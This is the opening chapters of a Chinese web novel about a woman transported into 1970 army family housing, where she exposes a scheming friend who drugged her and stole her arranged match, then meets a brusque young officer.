《怂包美人穿七零,野痞首长宠妻忙》 第一卷 第1章 开局被抢丈夫? 一九七零年九月二十三日,正值中午,高阳挂空。 家属院的婶子们正煮着饭菜,看到方政委门口被一群大老娘们围堵,领头的还是何春花,纷纷丢下手中的活前来看热闹。 院子里的周玲还没反应过来,就被何春花那大嗓门刺的耳朵一疼。 “大伙来评评理,人家何秋妹子高中毕业,就因为要嫁给韩忠国,周主任就滥用手中权利,搅黄了何秋妹子的工作。 咱们海市第一野战军爱明初中学校成立没几年,正愁找不到老师,她周主任就算是妇联主任,也没得道理为了她那个搅事精侄女让咱们初中学校连老师都找不到,是不是? 说句不好听的,韩忠国选择何秋,那是何秋妹子的值得,周主任家的侄女有什么?懒货成精,连个菜叶子都分不清,这样的人,那放在以前,妥妥的就是资本家的小姐!” 房间里的沈棠被这尖锐的大嗓门吵的耳朵都是疼的。 她呆呆的坐在床上,瞧着那开裂发黄的天花板、富贵花开土味十足的老式柜子,以及那硌背的木床,心里还是无法接受。 她是个孤儿,好不容易凭借着自己写作能力租了个大房子,结果一觉醒来,就到了这个缺衣少食的时代。 真它奶奶的倒霉到家了啊。 怂包子沈棠哭唧唧,很不想面对这情况。 奈何门外的表妹方红花听到外面有人来找茬,“砰砰砰”的使劲敲她门。 “沈棠,你惹的事,赶紧出来解决,要是我妈因为你名誉受损,你就滚出我家!” 沈棠有气无力的打开门,方红花嘴巴一张就要开骂,瞅见她清冷的面容满是憔悴,不知怎的心里软了一下。 咄咄逼人激昂话散去了恨意,只余怨念:“真不知道你生了张嘴是干什么的,闷葫芦打不出一个响屁,赶紧的,我妈那边急需增援!” 沈棠:“哦。” 她没怼过人,心里反复思考怎么怼人才能显得她逼格大。 说来也是巧,原身也叫“沈棠”,还是个重生的。 上辈子原身对二婚带三娃、而立之年的韩忠国一见钟情,为了这个老男人洗手做羹汤,用自己的钱辛辛苦苦养活了老男人一辈子,结果才过了五十岁就因为劳累而死。 原身不甘心,重生回来后想再续前缘,却被同样重生而来的闺蜜何秋下了泻药,代替她去相了亲。 第二天这两人就打了结婚报告。 原身和她一样是个社恐,性子甚至比她还要唯唯诺诺,唯一的好朋友就是何秋。 被闺蜜背叛,她虽震惊厌恶,但还是鼓足了勇气和脸面天天在家属院过道上堵韩忠国的路,想要把前世的姻缘和何秋的算计说出口。 为此不惜背上了勾引人未婚夫的恶名。 成天的堵人,终于让韩忠国愿意和她单独见一面了。 结果原身才说了一个字,就被对方极厌恶的打断,并告诫她这辈子都不会喜欢她。 原身因此郁郁而终,最终换了她过来。 现在的情况,是何秋撒谎自己是学霸,却考不上初中数学老师,只能把污水泼给原身小姨。 不过原身小姨在这件事上也不是全然无辜…… 方红花看她慢吞吞的,忍的额头青筋都凸显出来了。 这蠢蛋! 真不想承认她是自己表姐! 也就一张脸能看了! 院子门口。 众人磕着瓜子围观,连家里正煮着的饭菜都没心情管了。 周玲作为家属院妇联主任,管家属院多年,有人服气就有人不服,这还是头一次被人这么怼,谁不想看好戏? 不过周玲也不是好惹的,她两手叉腰:“何春花,你嘴贱什么,我侄女家的长辈在战场上杀鬼子的时候,你她娘的还在地里吃土呢,你张口就污蔑军人,等你家大柱回来,我倒是要问问他怎么管教的你!” 何春花想起自家男人,瑟缩了下,又瞧见何秋委屈蓄泪的样子,顿时梗着脖子道:“周主任,你别岔我话,何秋多好的一个人啊,就因为你在背后搞鬼,让她失去了初中老师名额,她哭的眼睛都肿了! 韩忠国看不上你家侄女,你为了给她出气背地里对我家妹子下手,真当家属大院是你一言堂了? 就你家沈棠那上赶着倒贴的人,老娘我八辈子都没瞧见过,癞蛤蟆想吃天鹅肉,贱的没皮了!” 周玲:“你再骂人,明天就给我去扫厕所! 我身为妇联主任,为咱们家属院尽心尽力,从不徇私,大家伙都看在眼里,何秋没考上初中老师,只能说明她没有那个能力。 你瞎嚷嚷,是在质疑咱们爱民初中的校长和老师都在徇私枉法吗?” 何春花噎了下,她家还有两个孩子正在上初一呢,她要敢当众承认校长和老师徇私枉法,万一孩子被穿小鞋,她哭都没地方哭去。 指不定连她男人都要挨批评。 何秋揉了把眼泪,她生的并不算多好看,只能算清秀,但通红的眼眶还是让她看起来多了丝可怜。 “周姨,是我对不住棠棠,但我真的没有抢棠棠的相亲对象,我和忠国是一见钟情,早知道棠棠也喜欢国忠,我一定不会和她抢的。” “多可怜啊,人家韩营长看上的明明是何秋,沈棠也好意思争?争的过吗?韩营长又不要她。” “就是,还是周主任的侄女呢,听说从首都来的,难道首都的男人还没有咱们军区的男人好看?” “别说,反正我家那口子羡慕死了韩营长,二婚带三娃,都还有首都来的黄花大闺女抢。” 众人你一句,我一句,听的何秋心里舒服极了。 上辈子沈棠多高高在上啊,家里被平反,丈夫是海市市长,孩子一个比一个有出息,连她生的女儿最后都成了大明星。 而她呢,离婚后养了个小白脸,手里的钱财都被骗走,她不过是想问她借点钱,填补一下赌债,沈棠竟然只给了那么一点! 还和她断绝了关系,让她活生生饿死在了冰天雪地的破房子中! 幸好老天看不过去,让她重生了。 她重生的第一件事,就是抢了沈棠上辈子的丈夫! 沈棠这个贱人,这辈子就活该被她踩在脚下! 第一卷 第2章 手撕白莲花 “何秋,你确实对不住我。” 众人正为何秋打抱不平,忽听见房间门口传来一道清冷的声音。 沈棠扶着墙壁走了出来,一张漂亮的小脸惨白如纸,她穿着白衬衫,下身是绿色的军裤,黑色皮带束的腰越发纤细,身材本就前凸后翘,这一身装扮根本掩盖不住,还给她原本就清冷的脸增添一丝妩媚。 众人心里暗暗吐槽,真是个狐狸精。 都说沈棠脸皮厚爱勾搭人,可就没有不羡慕她的女人。 沈棠生的那叫一个漂亮,长睫卷翘,秋瞳潋滟,琼鼻樱唇,长发柔顺微卷慵懒的披散在脑后,披个麻袋都是自带一股清冷仙气。 一米六八的身材比例极好,腰细腿长,皮肤和月色一样白净,谁见了都忍不住多看两眼。 因为她追着韩忠国,军区没结婚的小子恨不得将韩忠国给打趴下。 就连韩忠国的团长都恨不得他给训成孙子。 可真他娘的让人嫉妒啊。 沈棠说完,瞳孔瑟缩了下,才注意到外面竟然站着这么多人,万众瞩目之下,让她一个社恐人士差点掉头回去。 周玲见她出来,连忙问:“棠棠,你咋出来了,身子好点了没?” 沈棠苍白着脸点点头:“好多了小姨。” 上辈子小姨为了帮原身,连自己的小孩都忽略了,刚收养的三岁小娃娃因此掉入井里溺亡,小姨父对她失望至极,和她离了婚。 结果就换来原身一句是小姨自己要帮的,又不是她请的。 自此之后小姨便伤透了心,年仅四十就郁郁而终。 原身不要这么好的亲人,她沈棠要! 瞧见站在院子里的大表妹,她喊道:“红花,帮我把梯子架在院门口。” 说话间,她声音里还带了这颤音。 主要是她从来没有和人对峙过,也没有做出过出格的事。 但是—— 今天,社.沈棠.恐必须要挣把气,翻身做一回女主! 没错,在场的都是NPC,休想勾引她的注意! 众人都不明白她在干什么。 但方红花贼精,脑子一转就明白她的意思了。 她快速将木梯架在院子门口。 沈棠憋着一口气提着半桶水哧溜一下的爬上去,朝着何秋脑袋直刷刷淋下。 所有人惊的后退两步,懵逼的看着她。 这姑娘疯了? 沈棠因为还在头疼,手上没什么力气,也没办法举起半桶水。 现在占据身高的优势,她才能把那带着异味不知道洗了什么的水朝何秋从头到尾的淋下来。 何秋被淋了猝不及防,根本掩盖不住脸上的阴狠:“沈棠,你敢这么对我?” 沈棠晃了晃桶,发现还有水,冷着脸说了句“有什么不敢”,就将剩下的水再次从她头顶倒下。 倒完,还抖了两下。 何秋气的都想去打人了,余光瞧见韩忠国到来,原本阴狠的眼睛瞬间通红落泪,把沈棠看的都咋了下舌。 “你们在干什么?” “韩营长来了。” “韩营长,你可得给何秋出气,这沈棠疯了,竟然拿水浇何秋!” 韩忠国走到何秋身边,见何秋红这眼圈,满身是水的模样,脸色顿时就黑了。 因为夏天太阳大,几个人都站在院子门口遮蔽阳光,她那一桶水浇下来,直接把旁边的何春花半身都浇湿透了。 更别说对着头淋下的何秋,整个人像是刚从池塘里拉上来的似的,浑身还散发着一股臭袜子气味。 韩忠国转头对沈棠就是一顿骂:“沈棠,我跟你说了多少遍了,我不喜欢你,请不要纠缠,还有何秋是我未婚妻,请你放尊重点!” 韩忠国长的端正,皮色很黑,身高估计也有一米八,在这个吃不饱穿不暖的时代,可以说是人高马大了。 沈棠也不知道原身一个千金小姐,到底为什么会死心踏地的爱上这么一个人。 看着也帅不到哪里去呀? “停!”沈棠打断他的话:“我什么时候说过喜欢你了?” 韩忠国见她说话都颤着音,脸色又惨白的可怜,以为她不过是故作坚强。 作为一个男人,他不会跟个姑娘计较,可今日沈棠实在是过分了。 他冷笑:“是没有直接说过……” “既然我没说过,那你凭什么污蔑我的名声?” 韩忠国一噎,心说小姑娘那爱慕的眼神,是个成年男人都懂。 但沈棠确实没有跟他表白过,每次说话都被他打断了。 “不管怎样,何秋是你朋友,你为了一点小事就倒她一桶水,可见你面慈心狠,丑陋粗鄙,我韩忠国话丢在这,你再怎么针对何秋,我也绝不会喜欢你。” “现在,请你跟何秋道歉!” 沈棠气的磨后糟牙,什么玩意,让她道歉? “韩营长,我看你一把年纪了,是不是耳朵开始退化了,我面慈心狠,那你身边这个女人岂不是毒妇一个? 我丑陋粗鄙?那上过小学两年,一把年纪还长的不怎么样的你,不得说一句丑人多作怪,眼瞎心也瞎? 哦,对了,忘记你眼睛也退化了,看不清身边人,果然是眼瞎的蠢蛋!” 韩忠国脸立刻黑了下来:“沈棠!” “叫魂呢。” 沈棠勾了勾唇,清冷的狐狸眼勾人心魄:“首先我要澄清一个事。 韩营长,我拦你的路,不过是因为我年纪小,看不得你被骗而已,绝对不是因为喜欢你! 既然你自己都愿意被骗,那我以后再也不管你们两个人之间的事了。” 韩忠国皱眉,显然不信她的话。 沈棠话一转,看向某个心虚的人:“至于韩营长说的朋友,不好意思,我可没有把我当跳板的朋友! 何秋,我问你,我刚进文工团的时候,是不是你苦苦哀求我带你一起?还说就当是你来部队探望远方亲戚,也就是何婶子。” 何秋咬着下嘴唇,忽然觉得眼前的人有些陌生。 沈棠明明蠢笨如猪,和陌生人说都结巴,怎么忽然这么咄咄逼人了? “是这样,但是……” “好,你承认了。”沈棠打断她的话:“众位婶子,你们想想,哪有远方亲戚去部队探亲的? 何秋家里两个哥哥,一个妹妹,这次高中毕业,如果找不到工作就要下乡了,何秋当时听说咱们部队里的初中学校招老师,苦苦求我带她来一试,我看在多年好友的份上,才答应了她。 首都那么多工作的机会,何秋为什么非得来咱们部队? 那还不是因为她考不上!” 第一卷 第3章 冒充身份 “沈棠,你不要污蔑我!” 何秋也急了,她顶替了沈棠的身份才让韩忠国松口答应和她结婚,要是被戳穿自己就完了。 何师长的闺女还要下乡,难道家里重男轻女? 韩忠国看着她的眼神露出一丝怀疑。 沈棠抿唇:“你这话倒是好笑,我污蔑你?学校里谁不知道你何秋连上高中都是踩着尾巴进的,我知道部队离首都天远地远,你揪准了我拿不出你成绩差的证据。 可家属院里多的是嫂子在学校当老师,你前几日参加爱民初中学校招生考试的卷子做的如何,只要打听一下就知道了。” 家属院里初中老师有好几个,其中一个教初三的语文老师就站在何秋身后。 她点点头:“学校缺数学老师,上次招的就是数学老师,一共十来个人参加考试,试卷是由我们几个老师一起改的,何秋的试卷只有四十五分,这还是初中知识呢,比她分数高的都有四五个人了。” 何秋面上挂不住,上辈子她就不是个爱读书的人,这辈子重生回来,提前知道海市军区初中学校招老师,便逼着自己看了十几天的书。 她以为自己能有这般机遇回到过去,肯定是上天可怜她,所以只要她去参加考试,就一定能够选中。 哪里会想到,不过是一份工作罢了,竟然会有这么多厉害的人。 韩忠国也有些意外。 这和他认识的何秋有很大的出入。 家属院的人也炸开了锅,大家都以为是周主任在背后下手让何秋落榜,何春花还信誓旦旦的说何秋多厉害、多努力。 结果初中的试卷,她才考了个四十多分。 比他们家里的孩子还不如呢。 何春花此刻恨不得钻地里去,狠狠拉了拉何秋胳膊:“你不说你能考上的吗?” 何秋眸子闪了闪:“婶子,你误会了,我是说按照正常发挥,我应该能考上,这次可能发挥的不好吧。” 何春花算是明白了,这何秋哪里是单纯善良?这明晃晃的就是在利用她! “行,合着是我多事了,何秋啊何秋,我算是看错你了,以后别在说我是你亲戚,我可没你这样在背后捅刀子的亲戚。” “婶子,你误会了……” “我误会你个头,滚!” 何春花甩开她的手就打算离开。 沈棠叫住她:“何婶子,你刚刚冤枉我小姨,不道句歉吗?” 何春花咬着牙回头:“周主任,今日是我冤枉你了,我道歉!” 周玲哼了声:“你在家属院搅弄是非,道句歉就完了?以后人人像你这样不明是非辱骂人,那咱们家属院还怎么做军人最有坚强的后盾,罚你扫一个星期的厕所,服不服?” 何春花:“……服。” 说完,她立马就逃走了。 众人异样的眼色,就像是将何秋的衣服扒了下来,站在大庭广众之下,让她难堪至极。 她泪水哗啦啦的落:“棠棠,我也没想到这事会闹这么大,我只是因为没考上,在院子里哭了几下,何婶子就误会了,是我不对没跟何婶子说清楚,我跟周婶道歉……” 沈棠阻止她:“先别急啊,之前张婶子要给我介绍对象的时候,我说我喜欢小孩,她就给我介绍了韩营长,还告诉了我几点去相亲,在哪相亲,当时你也在场,你别告诉我你不知道?” 原身当时找的是家属院里的媒婆张婶,想要她给自己和韩忠国牵线,就说自己喜欢二婚有经验的男人,还喜欢孩子。 张婶子当时看她的眼神,就差没说这姑娘是不是疯了? 张婶子也在场,嗑着瓜子应了声:“我作证,何秋确实在场。” 她是看不惯何秋的,家属院有蠢笨之人,自然也有聪明人,明明她是给沈棠介绍相亲对象,结果转头自己介绍的人就和何秋搞在一起了。 沈棠这人面薄,不会说话,心里那点心思,她吃了那么多盐一眼就瞧出来了。 相反,何秋那总想算计别人的眼神,一看就不是啥好人。 有了张婶作证,何秋想说自己不知道都不行,她指甲几乎要掐进肉里,死死盯着沈棠,怎么也不承认自己抢了她的人。 “我是在场,可我和国忠认识真的只是个意外。” “意外?那为什么在我即将去相亲的时候,喝了你一杯水,就开始不停的拉肚子? 你别告诉我,我正好错过了相亲时间,你正好去了相亲地点,正好遇上了韩营长,又正好介绍了自己家庭情况,和韩营长相了亲? 这么多巧合,你问问在场的婶子,她们信吗?” 沈棠声音软绵微颤,配上她惨白如纸的脸和隐忍湿润的美眸,一副跌落神坛依旧傲骨铮铮的模样,看的众人都心生不忍。 张婶子也看不下去了,瘪瘪嘴吐出一口瓜子皮:“何秋妹子,你确实过分了,我说那天沈棠妹子怎么没来,原来是你在背后捅刀。 跟着沈棠妹子来的部队,抢了沈棠妹子的相亲对象,我要是沈棠妹子,我也想骂人,你俩还是好朋友呢,谁家好友在背后阴人啊?” 原本还在说沈棠咄咄逼人、上赶着倒贴的众人看何秋的眼神也变的复杂起来。 这姑娘不简单啊。 沈棠一直说是何秋抢了她的相亲对象,众人还以为是韩忠国没有看上沈棠看上了何秋,她气急败坏破坏二人关系呢。 原来是何秋给她下了药,自己代替的啊。 家属院里难得出点新鲜事,大家伙看热闹的看热闹,这会儿谁也不帮何秋说话了。 沈棠感受到众人可怜的眼神,顿时心里一松,她的名声可算是洗清了点。 其实也是原主不会说话,才被何秋肆意污蔑。 换成她,沈棠表示,虽然她社恐又怂,但嘴巴贼能扒拉(尺v尺)! 何秋此时是真的孤立无援了,只能眼巴巴的望向韩忠国,希望他能够帮自己说两句。 韩忠国虽然对她心生怀疑,但怎么说两人已经打了结婚报告,他也不能任由她被人欺负。 “不管怎么说,是我和何秋看对了眼,之前种种,也是我与沈同志有缘无分,我在这里为何秋给沈同志道歉。” 沈棠扬着巴掌大的小脸,清丽的小脸满是冷意:“凭白无故遭人造谣污蔑,几年的感情她背叛起来毫不手软,韩营长倒是说说,我泼她一桶水该不该,这歉道是不道?” 韩忠国被怼的无话可说,一张脸黑沉的吓人。 何秋刚想解释,就被沈棠打断话:“看上什么样的男人,那都是你自己的事,但你欠我的钱,明日傍晚前必须要还回来。” “你还欠她钱?”韩忠国心里的感受无法言语。 如果何秋连钱都需要借别人的,那她在何师长家岂不是毫无地位? 韩忠国一个农村小子能走到如今,野心自然蓬勃,前一任妻子的家世就极好。 处处护着何秋,当然也不是因为她那张寡淡的脸。 “没欠多少……”何秋犹豫间心虚的低下了头。 看她这副样子,韩忠国脸面都不想要了,铁青着脸甩手走。 何秋吓了一跳,顾不上和沈棠斗嘴,连忙追上去解释。 众人眼瞅着没有热闹看,也纷纷散了回家煮午饭。 沈棠心底一松,昏昏沉沉的困倦感袭来,她差点站不稳,只能扶住墙壁缓缓。 这时,一个身着绿色军装的高大男人走了进来,沈棠还以为是韩忠国去而复返,立马站直了身子。 这才看到那男人比韩忠国高点,估计得有一米九,肤色古铜,肩宽腰窄,五官立体,下颚线条流畅,步伐轻慢又桀骜自信。 沈棠难受的不行,眼睛还睁的圆溜,悄咪咪的往人身上瞥。 第一卷 第4章 贴身抱着像什么话? 似乎是察觉到她的目光,贺旭鹰隼一样的锐利眼神轻飘飘睨来,吓的沈棠立马收回视线。 少女通红眼眶蓄着泪,中散了那份清冷,倒显得有些怯弱和可怜。 啧,还挺口是心非。 奋起的小怂包。 “贺旭,你咋来了?” “想跟政委商量一下换个宿舍。” 周玲喜笑颜开的祝贺:“是了,你升到营长之位,按照规定就可以申请单人间了,好小子,真有出息,今天晚上来婶子家里吃饭,给你庆祝一下。” “那行,辛苦婶子了。” 贺旭也没客气,周玲是看着他长大的,参军后,方政委一家都很关照他,平时过年过节,他不回首都就会被周玲叫来一起吃饭。 不过大多时候他都会买些肉和奶糖麦乳精之类的上门。 周玲点点头,正想让他进屋等方政委,转头就瞧见自家侄女软软的靠着门滑了下去。 她吓的连跑了几步,见她满脸通红,赶紧摸了摸她的额头:“哎呀,这咋的发烧了,红花你给贺营长倒杯茶,我带你表姐去医院。” 医院离家属院有段距离,她正打算去拿自行车,就见没人扶着的沈棠摇摇晃晃要倒下似的,急的她连忙去扶。 贺旭见了,帮她推了自行车放到门口:“婶子,我来吧。” 说完,他抱起沈棠坐在自行车上,见她整个人迷迷糊糊的,一双秋瞳半垂着,全是盈盈泪水,倒比追着韩忠国时的样子要乖巧多了。 “沈同志,听的到我说话吗?等会记得扶着我,不然跌下去摔疼了可不关我的事。” 沈棠之前鼓着胆子怼人的时候还不觉得难受,骤然放松下来,她才觉得头痛的不行。 感觉整个世界都在摇晃。 听到贺旭的话,她迷糊的点了点头。 贺旭大长腿垮上自行车,身后一道娇软热躯缓缓贴了上来,浑身还带着一股好闻的馨香,惹的他喉咙微动了下。 “沈棠,你抓着衣服就行了。” 贴身抱着像什么话? 沈棠抬了抬小脑袋,满眼的迷茫和懵懂,显然是没听明白他的意思。 贺旭:“……” 算了,他不跟病人计较。 长腿一抻就骑着自行车来到医院。 他把沈棠扶起来准备进医院,谁知刚刚还贴着他的小姑娘双眼一闭彻底晕了过去,吓的他抱起人就往医院里冲。 这小怂包可不兴有事啊,不然贺老头子非得打死他不成! 他家老头子和沈家爷爷多年的老战友,听到沈棠进了他所在部队的文公团,那是千叮咛万嘱咐让他照顾着些。 贺旭虽然烦不胜烦,但真到了人命关天之时,也做不到无动于衷。 医生量了量沈棠的体温:“三十九度,输液吧。” 贺旭拧着眉:“不用住院?她都晕过去了。” 这要是回去继续起烧怎么办? 医生给沈棠把了把脉,情况见的多了,面上没有丝毫波动:“发烧应该是郁结于心所致,以后放宽心就好了,不用住院,过会就醒了,去交费吧。” 贺旭看了看沈棠那张红扑扑的小脸蛋,心想这姑娘到底什么眼光? 千娇百宠的养大,长的也还过的去,却喜欢韩忠国那张老脸? 得亏被人抢了,不然以后一辈子都后悔。 虽说是在军区医院,但贺旭也不敢在没人守着沈棠的情况下走开,正好瞧见上次出任务伤了腿正在复原的郝连长,便招呼他过来。 郝运一看他身边的姑娘,先是惊艳了一把,随即贱嗖嗖的咧开嘴笑:“营长,还是你厉害啊,文工团一枝花都能被你拐来。” 别看他长这一张娃娃脸,其实他比贺旭也就小了一个月。 军区里都是一群大老爷们,平日讨论的最多的便是文工团的漂亮姑娘。 沈棠才到军区一个多月,除去训练的日子,也就上过一次舞台,可那张脸是真漂亮啊,多少人做梦都是她。 贺旭睨了他一眼:“瞎说什么,老子可不想头上戴顶绿帽子,你帮我看着人,我去交费。” 郝运眼睛一亮,一屁股坐在小姑娘旁边:“行,营长你去吧。” 贺旭差点把牙龈咬碎,他不放心一个人去交费,本就是怕这群野狼趁他不注意把人给叼走了。 结果一个回头,就见不靠谱的郝运满脸痴像。 他心头一梗,把钱往郝运手里一塞,踢了踢他那条腿完好的腿:“你去交。” 郝运的脸一下就僵住了:“不是,营长你有点良心啊,我腿都瘸了你还让我去交费?” 他还想等沈棠醒了多跟她说两句呢。 营长介意,他不介意啊! 年轻的时候谁还没喜欢过几个人呢? 所谓金城所至金石为开,他郝运说不定就是那个能抱的美人归的人! 到时候抱着香香软软的媳妇…… “嘶~” 郝运的幻想被打断,龇牙咧嘴的捂着差点被踢断的好腿。 瞅见自家营长那铁青的脸,他也不敢再幻想下去了,连忙拄着拐杖站起来,拿着钱一瘸一拐的往收银台走,一边走还一边嘟囔。 “营长真是的,肥水还不流外田呢,我哪里比韩忠国差了?” 他走路走的慢,嘴巴倒是能说,贺旭听的脸色更黑了。 “再多说两句,回去就加练!” 第一卷 第5章 小怂包 郝运连忙闭了嘴巴,拐杖使出残影,立马远离了身后之人。 沈棠忍着头晕睁开眼睛,一眼就瞧见了坐在旁边的贺旭,挺拔的身姿犹如一颗松柏,腰如蜂细,侧脸俊朗,迷糊的小脑袋全是问号,这是谁? 贺旭已经坐了一会儿了,瞧见沈棠醒了,凑近瞧了瞧。 “呦,看着精神不错。” 沈棠咬了着粉嫩的唇下意识的往后仰,泛着水光褐眸满是警惕。 他眸色微暗,轻啧了声:“小怂包。” 沈棠下意识就回了句:“怂包说谁?” 贺旭:“说你,烧糊涂了?” 沈棠笑了下,如一朵粉红的桃花绽放,叫贺旭看呆了一瞬。 “哦,怂包在说我呢。” 贺旭脑子转了下,一下就明白了她的反讽。 舌头顶了顶后槽牙,这小怂包真的长心眼了? 贺旭可不是好嘲讽的人,他冷笑了下,伸出两根手指,在她脸上狠狠一掐,见沈棠疼的眼眶蓄满了泪,褐色的瞳孔倒映着他的身影才松了手。 感受到身体逐渐上升的热气,他在心底骂了句妖精。 “看在你生病的份上,老子饶你一次,以后不许反讽我,听见了没?” 沈棠本来就胆小,又烧的晕晕乎乎,见他这么凶,下意识缩了缩脖子,小脑袋怂怂的点了点。 贺旭满意了:“还有欠我的一块钱医药费,记得回去还我。” 小姑娘泪眼婆娑的控诉,就一块钱,他还掐她! 好可恶的人啊! 贺旭挑眉:“你那是什么眼神?” 沈棠身子一僵,别过头小声嘀咕:“想骂人的眼神呗。” 耳力极好的贺旭气笑了:“怂包,背后说人小话的怂包。” 沈棠怒瞪过去,对上那锐利的黑眸,怂的一下别开了视线。 贺旭嗤笑,软乎乎的包子,他一口一个,还敢瞪人? 两人安静的待了片刻,周玲拿着两个饭盒走进了医院。 她想着贺旭帮忙肯定来不急吃午饭,先去食堂买了两个人的饭菜,路上遇到开车的小李送了一程,这才这么快赶来。 “棠棠,好点了没?” 沈棠鼓着腮帮子可可爱爱的应道:“好多了。” 周玲摸了摸她的额头,心想还是烫,等会回去还是帮沈棠跟文工团团长请个假吧,小姑娘不能太劳累。 旁边没有桌子,她只好将饭盒递给贺旭和沈棠,又从袋子里将两个勺子拿出来给他们。 “都中午了,你两先吃饭,贺旭,今天谢谢你了,晚上来婶子家吃饭,等会婶子就去看看还有没有点排骨剩下。” “婶子不用客气,沈同志病还没有好,您照顾这一大家子已经很辛苦了,晚上我就不过去了,改日得空了再去婶子家,到时候婶子可别嫌我吃得多。” 周玲听的笑容止都止不住:“哪辛苦了?不辛苦,你要是能来,婶子高兴还来不及呢,这样,你明日过来吃晚饭,婶子杀个鸡,让你尝尝婶子的手艺。” 贺旭瞥见跟个呆头鹅似的沈棠,不知怎的,就应了下来。 周玲见他同意心里更满意了。 家属院里那些老娘们老说贺旭又凶又狠,训起人来毫不手软,要她说,这孩子简直不要太乖,懂礼貌还体谅人,长的又俊俏。 要不是那群大老娘们嚯嚯贺旭的名声,他哪会二十三了还没找到对象。 周玲心底叹了口气,转头瞧见自家侄女鼓着腮帮子半天扒拉不开饭盒,又是一阵叹气。 她也想过把自家侄女介绍给贺旭,但两人打小就认识,要是能看上早就看上了。 尤其是她这侄女眼睛还是个瘸的,就爱二婚带三娃的男人,她要是介绍,那不是结亲,那是结仇。 周玲帮着沈棠把饭盒打开,就见沈棠揪住她的衣裳晃了下,乖乖巧巧的把饭盒往她手里递。 “小姨,你先吃。” 周玲满心都是暖暖的:“小姨吃过了,你吃吧。” 她家侄女这么乖,哪有人配的上哦? 沈棠虽然头还是晕的,但理智已经渐渐恢复了。 她知道小姨这么快赶来肯定没吃饭,待会还要陪着她输完液,也没时间回家。 于是她随便吃了几口,就把饭盒递给了她:“小姨,我吃一点就够了,你吃吧。” 周玲见她难受的闭上了眼睛,只能无奈把饭盒里的饭菜吃了。 等她去洗碗的时候,沈棠忽然闻到一股诱人的鸡汤味,她耸着小鼻子睁开眼睛,正好撞进贺旭那戏谑的眼睛。 她僵了下:“贺、贺营长?” “吃吧。” 贺旭看她恢复了神智,心里有些可惜,没了戏弄她的兴趣,见周玲回来,转身就走了。 沈棠觉得这人莫名其妙的,不过她确实有些饿了,想着到时候把看病的钱和鸡汤的钱还给他就是,便将那碗鸡汤喝完。 鲜香的热鸡汤下肚,沈棠整个人都舒服了些。 输完液,沈棠和周玲二人骑着自行车回了家。 不知从哪里窜出来的郝运拄着拐杖走到贺旭身边。 顺着他的目光看见神色萎靡的小姑娘背影渐渐消失在医院门口。 他摸了摸下巴,若有所思:“营长,你不会是真喜欢上人家吧?” 贺旭冷眼瞥了过去:“膈应谁呢,老子会喜欢一个心里有人的人?” 郝运和他是高中同学,对他还算了解,细想了下也觉得不可能。 贺旭家里一团糟,他从小就有心理洁癖,对感情一事慎之又慎。 要是喜欢沈棠早喜欢去了,哪里会等到现在。 这两人可是一个大院出来的。 第一卷 第6章 不找二婚的 沈棠输完液回屋就睡了,几乎到第二天下午才醒。 完全错过了大表妹被小姨训斥的画面。 望着床头栏杆上挂着的衣衫,沈棠不经叹了口气,看来是回不去了。 她走出房间,入目的便是一张红色主席画像,下面放着一张木桌,摆放着茶壶搪瓷杯,正中央还有一张长方形大红木桌。 小姨家住的是平房,一共四个房间,中间是堂屋和厨房。 原身平日里只有放假的时候才会来这里住上一天。 为了让她住的舒服,小姨还特意调整了家里孩子所住的房间。 小姨家一同五个孩子,大表弟陈义今年十六岁,刚参军,和最小的三岁奶娃娃方红梅是收养的。 中间两个表妹方红花十五岁、方红莲十三岁,一个在上初三,一个在上初一。 最小的表弟方红国今年十岁,还在上小学五年级。 大表弟陈义和小表弟方红国是一个房间,两个表妹各自一个房间,小表妹因为年纪太小,又刚来家属院怕生,故而与小姨睡一起。 今年大表弟去参了军,平日里都住在宿舍,难得回来一趟,这个大房间就因为原身的到来,让两个表妹住了进去。 小表弟和原身各自住在了两个单独的小房间。 沈棠先去照了照镜子,样貌和她前世一样,年龄还比之前小了五岁,也算是唯一的好处了。 这会儿只有小姨请假在家照顾她,几个弟弟妹妹都出去上学了。 见她醒了,周玲上前摸了摸她的额头,见她不烧了才放心下来。 灶上有现成的热水,小姨又不习惯大澡堂,就在家里用红砖起了个洗澡的小隔间,不仅洗澡方便,洗衣服也方便。 等她洗完澡将衣服洗好晾晒,周玲便拿了个热了许久的肉包子给她垫垫肚子。 沈棠披散着头发静静的坐在门口,清丽绝色的容颜衬院子满堂生辉。 许是因为肉包子太香,在院子里玩泥巴的小表妹迈着小短腿从她身边时不时经过,每次经过都咽了咽口水,还偷摸耸着鼻子。 这三岁小奶娃还挺搞笑。 “红梅,过来。” 小家伙立刻丢掉手中破碗,哒哒的跑了过来,昂着脑袋滚动着喉咙,使劲把眼睛从她手中的包子移开。 “叫俺干啥?” 沈棠将包子里的肉馅分了点出来,递到她嘴边。 小家伙口水都流出,也不忘早上周玲的叮嘱:“我不吃,妈说了,这个包子是给姐姐的,我的已经吃过了。” 沈棠微微惊讶,这小孩还挺有自制力。 “沈棠妹子,你病好了?” 外面张婶子提着菜篮子路过,沈棠见了礼貌的喊了声婶子。 张婶子瞧见正在流口水的小丫头,笑着走进来:“红梅,你妈呢?” “在屋里。”小家伙奶声奶气道。 张婶子眼睛一转,压低声音:“妹子,婶子再给你介绍一个对象吧,我看你这么喜欢小孩,正好对方家里有四个娃娃,年龄也就比你大了十岁,长的和韩营长差不多,就是比韩营长矮了点,但肯定比韩营长有眼光。” 沈棠听的眉头直皱,她可不想当人后妈,那么多孩子这洗衣做饭都得累死。 看看她家小姨,请假一天,从早忙到晚,没一刻停的。 不过到底是原身自己说要找二婚的,沈棠也没发脾气,好声好气的拒绝。 “我现在不喜欢小孩了,我才十八呢,还是找个头婚的吧,让婶子费心了。” 张婶子并不知道沈棠家里背景,可听说周玲原来是老地主的女儿,家里人都被批斗成了过街老鼠,她估计着沈棠应该也是为了逃避下放才来投靠的周玲,心里顿时就不舒服了。 她介绍的好歹也是军官呢,要不是看沈棠长的漂亮,她可不敢将有成分的人家介绍过去。 “不是婶子说你,你现在名声不太好,能找到个待你好的男人就不错了,女人别那么挑,越挑越嫁不出去。” 沈棠还没说话呢,从厨房里出来的周玲听见了,气的火冒三丈:“张小妹,你胡咧咧什么,你要是喜欢二婚的,改天让你女儿嫁过去不就得了,我家侄女还不用着你来操心。” 张小妹心虚的很:“周主任,你管天管地还能管你家侄女相看对象?沈棠妹子就喜欢这种,不然你当我愿意为了那两颗喜糖费时费力啊?” 周玲瞪过去:“我还不知道你的心思,哪次介绍成功了你没赚个几块?再这样下去我可要好好跟你们家王营长说说,投机倒把够你喝一壶的!” 